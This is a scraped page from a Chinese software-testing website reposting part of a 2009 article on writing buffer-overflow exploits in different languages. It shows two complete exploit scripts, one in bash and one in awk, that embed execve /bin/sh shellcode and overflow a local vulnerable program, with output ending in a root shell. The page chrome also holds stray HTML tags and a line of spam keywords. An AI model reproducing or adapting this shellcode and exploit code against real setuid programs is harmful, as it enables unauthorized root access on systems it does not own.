• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
    • 軟件測試技術
    • 軟件測試博客
    • 軟件測試視頻
    • 開源軟件測試技術
    • 軟件測試論壇
    • 軟件測試沙龍
    • 軟件測試資料下載
    • 軟件測試雜志
    • 軟件測試人才招聘
      暫時沒有公告

    字號: | 推薦給好友 上一篇 | 下一篇

    溢出利用程序和編程語言大雜燴

    發布: 2009-6-09 14:03 | 作者: 不詳 | 來源: 測試時代采編 | 查看: 33次 | 進入軟件測試論壇討論

    領測軟件測試網

    <四> Shell語言版本利用程序ex.sh

    [cloud@test]$ cat ex.sh
    #/bin/bash
    # Demo for exploit bof of "./vul"
    # Write by watercloud @ xfocus.org

    #ENV_LEN=`env |wc -c|tr -d ' '`
    SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
    AG="AA";for (( i=0;i<10;i++));do AG=$AG$AG;done ;AG=$AG$AG$AG #3096
    for((i=0;i<20;i++));do AD=$AD"\xff\xbf\xe8\xf3";done #ADDR:0xbffff3e8
    export AGSHELL=$AG`echo -e $SH`

    for((i=0;i<4;i++)) ;do
      AA=$AA"A"
      if  ./vul $AA`echo -e $AD`
      then break
      fi
    done
    #EOF
    [cloud@test]$ chmod a+x ex.sh
    [cloud@test]$ ./ex.sh
    buff : A&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
    &#65533;胯?胯?
    ./ex.sh: line 16:  5287 段錯誤                  ./vul $AA`echo -e $AD`
    buff : AA&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
    ?胯?胯?
    sh-2.05b# id
    uid=0(root) gid=503(test) groups=503(test)
    sh-2.05b# exit
    exit



    <五> awk語言版本利用程序ex.awk

    [cloud@test]$ cat ex.awk
    # Demo for exploit bof of "./vul"
    # Write by watercloud @ xfocus.org

    BEGIN{
            SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
            AG="AA";
            for ( i=0;i<10;i++)
            {
                    AG=AG""AG;
            }
            AG=AG""AG""AG #3096
            for(i=0;i<20;i++)
            {
                    AD=AD"\xe8\xf3\xff\xbf"; #ADDR:0xbffff3e8
            }

            AA="AA"
            for(i=0;i<4;i++)
            {
              AA=AA"A"
              system("./vul "AA""AD" "AG""SH)
            }
    }
    #EOF
    [cloud@test]$ gawk -f ex.awk /dev/null
    buff : AAA梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
    buff : AAAA梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
    sh-2.05b# id
    uid=0(root) gid=503(test) groups=503(test)
    sh-2.05b#


    文章來源于領測軟件測試網 http://www.kjueaiud.com/

    43/4<1234>

    關于領測軟件測試網 | 領測軟件測試網合作伙伴 | 廣告服務 | 投稿指南 | 聯系我們 | 網站地圖 | 友情鏈接
    版權所有(C) 2003-2010 TestAge(領測軟件測試網)|領測國際科技(北京)有限公司|軟件測試工程師培訓網 All Rights Reserved
    北京市海淀區中關村南大街9號北京理工科技大廈1402室 京ICP備10010545號-5
    技術支持和業務聯系:info@testage.com.cn 電話:010-51297073

    軟件測試 | 領測國際ISTQBISTQB官網TMMiTMMi認證國際軟件測試工程師認證領測軟件測試網

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>